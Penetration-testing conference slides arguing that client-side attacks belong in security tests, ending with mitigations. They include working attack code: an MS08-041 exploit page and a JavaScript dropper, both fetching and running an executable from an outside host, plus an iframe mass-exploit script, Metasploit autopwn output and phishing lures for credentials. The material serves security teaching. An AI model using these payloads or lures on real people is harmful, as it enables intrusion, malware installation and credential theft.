Attacking Layer 8: Client-Side Penetration Testing

Chris Gates
Vince Marvelli

Full Scope Security
About Us

• Chris Gates
  • Co-Founder FullScopeSecurity
  • carnal0wnage.blogspot.com
  • Member of the Metasploit Project

• Vince Marvelli
  • Co-Founder FullScopeSecurity
  • g0ne.wordpress.com
  • General security practitioner
Presentation Zen

Four Key Points

• Attackers use client-side attacks

• Client-side attacks are the new remote exploit

• Allow your penetration testers to use CS to replicate the real threat

• Test your organization's ability to detect & respond
Quick Client Side Rant

• If you aren't allowing pentestes to test your susceptibility and response to client side attacks you are doing them and yourselves a disservice.

• “My users aren't trained (or my user awareness training program sucks) therefore you can't use client side attacks in your pentest” = BULLSHIT!

• With that out of the way...
Is This A Proper Security Model?
Reality

• Client-side attacks are the new remote exploits. It’s how attackers gain access today.
  • A successful client-side can quickly lead to critical assets and information being compromised

• It's becoming critical to test your user’s susceptibility and your network’s ability to detect and respond to client-side attacks.

• Client-side attacks will continue to grow, develop and be used because they work! The question is WHY?
The New Remote Exploit?

• Industry data points to significant increase in the prevalence and criticality of client-side vulnerabilities
• A “shift” towards finding vulnerabilities in client-side software is occurring (SANS and Symantec security threat reports)
• 8 out of 20 categories in SANS Top 20 report relate directly to client-side vulnerabilities
• High profile incidents taking advantage of vulnerabilities in client-side software
• Feb 09 Adobe 0day
• Feb 09 MS09-002 via .doc
• Chinese malware drive-by iframe autopwn sites
Top 10 Web Attack Vectors in 2nd Half of 2008:

1. Browser vulnerabilities
2. Rogue antivirus/social engineering
3. SQL injection
4. Malicious Web 2.0 components (e.g. Facebook apps, third-party widgets and gadgets, banner ads)
5. Adobe Flash vulnerabilities
6. DNS Cache Poisoning and DNS Zone file hijacking
7. ActiveX vulnerabilities
8. RealPlayer vulnerabilities
9. Apple QuickTime vulnerabilities
10. Adobe Acrobat Reader PDF vulnerabilities

http://securitylabs.websense.com/content/Assets/WSL_ReportQ3Q4FNLPDF
About 6.5 million consumers, or roughly 1 in 13 online households, gave such scammers personal information over the past two years. They “clicked the link”.

Nineteen percent of respondents said they didn't have antivirus software on their computer.

36 percent didn't have an antispyware program.

75 percent didn't use an antiphishing toolbar.

What We Do Well

• Breaching the perimeter is much harder than it was a few years ago.

• More Mature Security Programs
  • Dedicated Security Teams
  • Internal vs. External vs. DMZ
  • Hardened & Dedicated Servers
  • IDS/IPS
  • Security Event Monitoring & Alerting
  • Software security improving (?)
    • MS08-067
    • MS09-002 (IE7)

• So what's the weak link?
The result of the previous slide is that attackers are turning to the new low hanging fruit

Client-Side Attacks
The New Low Hanging Fruit

Who always has access to the Internal Network?

The USER

Who has probably added themselves to the local admin or power users groups?

The USER

Who *can* be more gullible than the network/sys admin?

The USER

Detecting a Trend?
The User's Desktop

• Is less protected BUT more complex than publicly available servers. Can be hard to fingerprint because there is no direct access.

• Workstations can be much more complex than Servers = more difficult to patch = more attack vectors.
Why So Vulnerable?

- Combination of tools, 3rd party applications or in-house software.
  - Different software companies with differing attitudes towards security and updates.
- Patching policies and priority are usually weak for workstations... “We'll get around to the desktops.”

- Workstation Policy != Server Policy
  - WSUS/SUS doesn't patch random 3rd party applications.
  - There are some tools that do, but that assumes an organization has a good handle on the software deployed in their enterprise.

Full Scope Security
Awww, its not SO bad...
Why Target User Access?

• Users have legitimate access (usually persistent) to the organizations critical assets.

• As a “Domain User” on the network, users can browse file shares, run net commands, do user "stuff" that SYSTEM cannot. Domain users can do more than local accounts and SYSTEM.

• Users can have access to mis-configured “All Users” Startup folder for placing malware that will start at login by all users of the system.

• Connect to the Internet from within the internal network.

Full Scope Security
Typical Pen Test Methodology

- Reconnaissance
- Scanning
- Fingerprinting/Enumeration
- Exploitation
- Escalation/Post Exploitation
- Covering Tracks
- Reporting
Client-Side Pen Test Methodology

• **Reconnaissance/Information Gathering** (OSINT)
  • Personal data - emails, usernames, etc
  • Company data – departments, info needed for legitimacy

• **Decide on Attack Vector**
  • Email
  • Website
  • **Send attack and...**
  • [ … wait … ]

• **Secure your access!**
  • Switch to internal pen test
  • Pwn the rest of the network (the inside is safe, secure and monitored..right?)
Common Client-Side Penetration Testing Scenarios

• Target specific employees/groups
• Email carrying malicious payload or by pointing the victim to a malicious Web site. Exploit Required.

• Use Social Engineering
• Convince a user to install your malware without using an exploit.
• Set up a phishing site targeting organization’s users

• Large-scale client-side infection campaigns
• Rely on victims to visit compromised Web sites that deliver client-side exploits.
Escalating Scopes Within Our Scenarios

1. Gather metrics by tracking clicks
2. Phish for usernames & passwords
3. Exploit a client-side vulnerability
4. Install malware/run .exe without an exploit
Entry Points

- Office Suites
- Adobe
- DHTML compliant browser
- ActiveX
- Java Plugins
- JavaScript
- IM / P2P
- Media Players
- XSS-able web site
- Social Engineering
- Physical**
Delivery Methods

Email

• Open my attachment

• Follow my link (leads us into web attack method)
Delivery Methods

Web

- Phishing Site
- Browser exploits
- Vulnerable ActiveX controls
- XSS a user to your vulnerable page
- SMB Relay attacks (Internal only) –fixed ? not really
- Write access to a web server/application
- Download and run .exe
  - Via Social Engineering
  - No Exploit Required Java Script :-(
Delivery Methods

Instant Messaging

We try to get someone to accept an upload, run the exe, or browse to a link.

**Bottom line is I need the user to run my executable, scan my file with their AV, visit my site, or open my attachment**
Email Examples

Open My Attachment
• Office Attachments are a common and great attack vector.

• Typically bypass perimeter security
  • Do you block office, adobe, or html extensions?
    • .doc, .xls, .ppt, .mdb, .pdf or .html

• Difficult to detect
  • Can AV scan and analyze a macro or an overflow in what appears to be a well formatted document?

• Thanks to metasploit vulnerable macro creation is easy!
  • Which kinda sucks because that \textbf{was} the ol’ reliable

\textbullet{http://www.f-secure.com/weblog/archives/00001450.html}
\textbullet{http://ddanchev.blogspot.com/2008/07/malware-and-office-documents-joining.html}
\textbullet{Bruce Dang’s Black Hat Understanding Targeted Attacks with Office Documents Talk}
Personal Examples

Emails -- Open My Attachment

Subject: Free flu shots available now!

Please open the attached spreadsheet/pdf for information on how you can get your flu shot for free!

** excel macro trojan
** backdoored pdf

Targeted malware being distributed in legitimate looking International Olympic Committee (IOC) emails, that have been sent to participating nation’s national sporting organizations and athlete representatives.

The malware was hidden within an Adobe Acrobat PDF file attachment, using embedded JavaScript to drop a malicious executable program onto the target’s computer.

In The News...

Malware embedded into pdf
In The News...

MS Jet Engine MDB File Parsing Stack Overflow Vulnerability
In The News...

About 10,000 users of LinkedIn.com, the social networking site for professionals, recently were targeted by a tailor-made scam that urged recipients to open a malicious file masquerading as a list of business contacts.

The message read:

[recipient's name]
We managed to export the list of business contacts you have asked for. The name, address, phone#, e-mail address and website are included. The list is attached to this message. After you check it, could you please let me know if it is complete so we can close the support ticket opened on this matter.

Thank you for using LinkedIn

David Burrows
Technical Support Department

The "list" attached to the message was malicious software that attempted to steal user names, passwords and other sensitive data from the victim's PC.

http://voices.washingtonpost.com/securityfix/2008/10/spear_phishing_attacks_against.html
Subject: Security Update for OS Microsoft Windows

From: "Microsoft Official Update Center" <securityassurance@microsoft.com>

Dear Microsoft Customer,

... Since public distribution of this Update through the official website http://www.microsoft.com would have result in efficient creation of a malicious software, we made a decision to issue an experimental private version of an update for all Microsoft Windows OS users.

...<SNIP>...

Thank you,
Steve Lipner
Director of Security Assurance
Microsoft Corp.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1
3L0SDPQYESHKTVB7P898LE266163YL

9LZQ6AU3LYK9JFM85HDX4S5FG0PEUY5HP0
31Q8WAOREI4H0A7OF4UDTOG8HAXPAZMV91DI6B8XJEQ0636ND3XAWTCOOSNLIGHUN
ZSDHKKLZ099I6Y03BO91DGUTQMMFT0CWMCZQ4G0R0EYMNN1991EG0PKA6CE3ZPAB6
EJ4UN52NIB4VF78224S7BCNFH3NP9V91T66QV0RKA2KOG0RA0EUM5VY17P41G016
I2YU34EL9XJQGS7C5GMDU4FJUI3C3M3ZIAU6==

-----END PGP SIGNATURE-----

http://isc.sans.org/diary.html?storyid=5159

Hey its PGP signed right!?
Assumptions

• The following DEMOs are all showing Metasploit as the attack framework

• Other “FOR PAY” frameworks do the same but we don’t have a copy :-(

• If anyone wants to buy us license see us after the talk!!
Metasploit VBA Macro Office Document

Using msfpayload we output our payload as VBA script and embed it into an office document as a macro.

No “exploit” required, only the ability to run macros.
cg@WPAD:~/evil/msf3$
Metasploit “fileformat” exploits

Fileformat exploits will be in your `exploit/windows/fileformat` folder.

Fileformat exploits need to be sent or browsed to and don’t work the same as your standard “browser” attack. The fileformat mixin allows the metasploit framework to output what would normally be served via web in a file to be emailed or uploaded to a web server.

http://www.metasploit.com/users/mc/
Demo 2

Metasploit Opera 9.62 file:/// Heap Overflow

Malicious .html file

Targets: Windows XP SP0-SP3 / Windows Vista Opera >=9.62

Demonstrates missed 3rd party patch
msf >
Demo 3

Metasploit Adobe CollectEmailInfo()

Malicious .pdf file

Targets: Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7

Adobe Reader and Acrobat before 8.1.2

Demonstrates missed 3\textsuperscript{rd} party patch of a regularly allowed file type.
[*] WARNING! The following modules could not be loaded!

/home/cg/evil/msf3/modules/exploits/test/dialup.rb: MissingSourceFile /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require': no such file to load -- serialport

msf >

=[ msf v3.3-dev
+ -- --=[ 327 exploits - 169 payloads
+ -- --=[ 20 encoders - 6 nops
+ -- --=[ 86 aux

msf >
CA eTrust PestPatrol ActiveX Control Buffer Overflow

Targets: Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7

With some ActiveX controls we can serve up the vulnerable control and infect users that initially weren’t vulnerable.

We first try exploit where control is not installed and crashes browser. Second try we serve up vulnerable control and make the client vulnerable.
cg@WPAD:~/.evil/msf3$ ./msfconsole
[*] WARNING! The following modules could not be loaded!

/home/cg/evil/msf3/modules/exploits/test/dialup.rb: MissingSourceFile /usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require': no such file to load -- serialport

msf >
Email Examples

Follow My Link

- Your environment may be more inclined to click links versus open attachments or vice versa

- Web browsers are complex applications, will interpret multiple programming languages; Java/Java Applets, JavaScript, Flash, ActiveX, etc

- Typically bypass perimeter security out 80/443
  - Do you have a URL filter, or outbound proxy
  - Content inspection/protocol matching proxy?
  - Payloads from web can be difficult to detect (java, iframes, flash)
Dear User,

We are pleased to introduce the $company Information Technology Password Synchronization project. This project will reduce the number of userid-password pairs our users must remember by providing an easy way to synchronize passwords automatically across several application and system platforms. Additionally, the project will provide self-help to users to reset and change passwords on demand.

The following link will take you to the Password Sync login page to synchronize your passwords:

http://www.victim.com/sync/login.php
Personal Examples

Phish for usernames and passwords

• Password syncs rule!
Examples

Phish for usernames and passwords

- Log the results

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>User</th>
<th>Password</th>
<th>Remote IP</th>
<th>Local IP</th>
<th>Referrer</th>
</tr>
</thead>
</table>

PLUGINS:
- npatgp.so
- Shockwave Flash
- RealNetworks Rhapsody Player Engine
- VLC Multimedia Plugin
- Totem Web Browser Plugin 2.20.0
- Windows Media Player
In The News…

Phish for usernames and passwords

You Are Eligible For Tax Refund - Cyrillic (Windows)

From: HM Revenue & Customs
Date: 06 January 2009 12:54
To: [email address]
Subject: You Are Eligible For Tax Refund

This message is High Priority.

After the last annual calculations of your fiscal activity we have determined that you are eligible to receive a tax refund of £99.23. Please submit the tax refund request and allow us 3-6 days in order to process it.

A refund can be delayed for a variety of reasons. For example submitting invalid records or applying after the deadline.

To access the form for your tax refund, please [Click here](opens up a Phish).

Best Regards,
HM Revenue & Customs

© Copyright 2009, HM Revenue & Customs UK All rights reserved.
TAX REFUND ID: A29R113
Gather Metrics by Tracking Clicks

• Doesn't always have to be about the shell. A lot of people just want metrics; how many people got the email, how many clicked the link, how many entered data, etc

• Use separate Google analytics or custom PHP for each page you want to gather metrics for.

• http://www.zeltser.com/client-side-vulnerabilities/

• http://carnal0wnage.blogspot.com/2008/04/phishing-revisited.html

• http://carnal0wnage.blogspot.com/2007/12/spearphishing-during-pentest.html
Web Examples

Websites -- Browser Exploits

Exploit vulnerabilities in the browser itself

High profile examples
• MS06-001 WMF Setabortproc
• MS06-055 VML Method
• MS06-057 Webview Setslice
• MS07-017 GDI/ANI -- worked on Firefox too 😊
• MS08-053 Media Encoder
• MS09-002 Memory Corruption
Web Examples

Websites -- Browser Exploits

Thanks for clicking this link, you've now been pwned!!
Websites -- Browser Exploits

Exploit 3\textsuperscript{rd} party vulnerabilities via the browser

High profile examples

- Yahoo Messenger
- Itunes playlist
- Winzip
- Quicktime
- Real Player
- CA Brighstor ARCserve
- Symantec, Trend Micro, McAfee
Web Examples

Websites -- Browser Exploits

Exploit 3rd party vulnerabilities via the browser
Websites -- Vulnerable Active X controls

Web Examples

Do you want to run this ActiveX control?

- Name: authzax.dll
- Publisher: Microsoft Corporation

Run

Don't Run

This ActiveX control was previously added to your computer when you installed another program, or when Windows was installed. You should only run it if you trust the publisher and the website requesting it. What's the risk?
Subject: Critical Java Vulnerability Affecting Domain
!!!IMPORTANT this issue effects all domain workstations!!!

Sun Java Web Start is prone to multiple vulnerabilities, including buffer-overflow, privilege-escalation, and information-disclosure issues.

Successful exploits may allow attackers to execute arbitrary code...blah blah blah

This issue affects the following versions:

Please visit this page and click on the Updates and Patches link for more information on this critical vulnerability.

http://192.168.50.111/index.html
So what was on the page?

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='fun'></object>
<script language='vbscript'>
fun.SnapshotPath = "http://172.10.1.104:8080/evil.exe"
fun.CompressedPath = "C:/Documents and Settings/All Users/Start menu/programs/startup/notsoevil.exe"
fun.PrintSnapshot()
</script>
</html>

Access snapshot viewer exploit MS08-041

Allows us to specify a file to be downloaded to a host, download to start-up directory, wait for user to log out and log back end, get shell
Web Examples

XSS Attacks

• XSS a user to site you control, deliver the one of the previous payloads
• XSS a user to site you control, inject a XSS shell type payload
  • BeEF
  • The Middler
  • XSS Shell
• XSS a user to site you control and try an SMB Relay attack (Internal)
Web Examples

Write access to a web server/application

- If I can get write access I can inject any of the web payloads

Unprotected users would be subjected to execution of obfuscated Javascript that redirects to an exploit site, hosting exploits for Internet Explorer, QuickTime and AOL SuperBuddy. Successful execution of the exploit code incurs a drive-by download. This installs a backdoor on the compromised machine.

http://securitylabs.websense.com/content/Alerts/3289.aspx
Web Examples

Download and run an executable

• Just need to convince a user to install our malware
Web Examples

Download and run an executable

• Just need to convince a user to install our malware
No Exploit Required: Java downloaders

**ActiveX Repurposing**

http://carnal0wnage.blogspot.com/2008/08/owning-client-without-an-exploit.html

```javascript
function dropper() {

  var x = document.createElement('object');
  x.setAttribute('id','x');
  x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');

  try {
    var obj = x.CreateObject('msxml2.XMLHTTP','');
    var app = x.CreateObject('Shell.Application','');
    var str = x.CreateObject('ADODB.stream','');
  }
```

Web Examples

No Exploit Required: Java downloaders (cont’d)

```javascript
try {
    str.type = 1;
    obj.open('GET', 'http://coolsite.com//innocent.exe', false);
    obj.send();
    str.open();
    str.open();
    str.Write(obj.responseBody);
    var path = './..//svchosts.exe';
    str.SaveToFile(path, 2);
    str.Close();
}

try {
    app.shellexecute(path);
}
```
Web Examples

Website -- iframe mass attack

Malicious?
Website -- iframe mass attack

Web Examples

Flash exploits

Office exploits

Ourgame GLIEDown2 exploits

Real player exploits

```html
<script>
document.write("<iframe width=100 height=0 src=flash.htm"></iframe>");
document.write("<iframe width=100 height=0 src=xx.htm"></iframe>");
document.write("<iframe width=100 height=0 src=tt.htm"></iframe>");
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
document.write("<iframe src=tt.htm width=100 height=0"></iframe>");
try{var d;
var lz=new ActiveXObject("GLI"+"EDown.I"+"EDown.1");
catch(d){};
finally{if(d!=[object Error])}{document.write("<iframe width=100 height=0 src=lz.htm"></iframe>");}
try{var b;
var of=new ActiveXObject("snipvw.Snap"+"shot Viewer Control.1");
catch(b){};
finally{if(b!=[object Error])}{document.write("<iframe width=100 height=0 src=office.htm"></iframe>");}
try{var d;
var lz=new ActiveXObject("GLI"+"EDown.I"+"EDown.1");
catch(d){};
finally{if(d!=[object Error])}{document.write("<iframe width=100 height=0 src=lz.htm"></iframe>");}

function Game()
{
Sameee = "IERPCtl.IERPCtl.1";
try
{
Gime = new ActiveXObject(Sameee);
catch(error){return;}
Tellm = Gime.PlayerProperty("PRODUCTVERSION");
if(Tellm="6.0.14.552")
document.write("<iframe width=100 height=0 src=real.htm"></iframe>");
else
document.write("<iframe width=100 height=0 src=real.html"></iframe>");
}
Game();
</script>
<noscript><a href="http://tongji"</noscript>
</html>
```
Web Examples

Browser Autopwn

• Doesn’t work that well, but still worth mentioning. Modify to serve several specific exploits…iframe mass attack in metasploit 😊

```plaintext
msf auxiliary(browser_autopwn) >
[*] Started reverse handler
[*] Server started.
[*] Using URL: http://0.0.0.0:8080/demo/
[*] Local IP: http://192.168.0.101:8080/demo/
[*] Server started.
[*] Auxiliary module running as background job
msf auxiliary(browser_autopwn) >
[*] Request '/demo/' from 192.168.0.103:1208
[*] Recording detection from User-Agent
[*] Browser claims to be MSIE 6.0, running on Windows XP
[*] Responding with exploits
[*] Sending exploit HTML to 192.168.0.103:1082...
[*] Sending EXE payload to 192.168.0.103:1082...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
```
All is not lost, that's why we are testing our ability to respond!

- Strong Desktop Baseline and Patching Program
- Spam Filters – stop that email from hitting the user's inbox
- Outbound Content Filtering Proxy – something that matches protocols
- Egress Filtering
Client-Side Attack Mitigation

- Host-Based FW/HIDS/HIPS/Managed AV
- Strong Group Policy
- Host Integrity Monitoring
- User A-Scareness Training
  - A Client-Side Penetration Test could be that training!
http://www.zeltser.com/client-side-vulnerabilities/

http://carnal0wnage.blogspot.com/2008/04/phishing-revisited.html


Core Impact presentation on testing client side vulnerabilities

Targeted Social Engineering (whitepaper)
http://isc.sans.org/diary.html?storyid=5707&rss

Zero(day) Solutions

Attack Research
Thank You!!

Questions?

All demos available at
http://vimeo.com/channels/FullScopeSecurity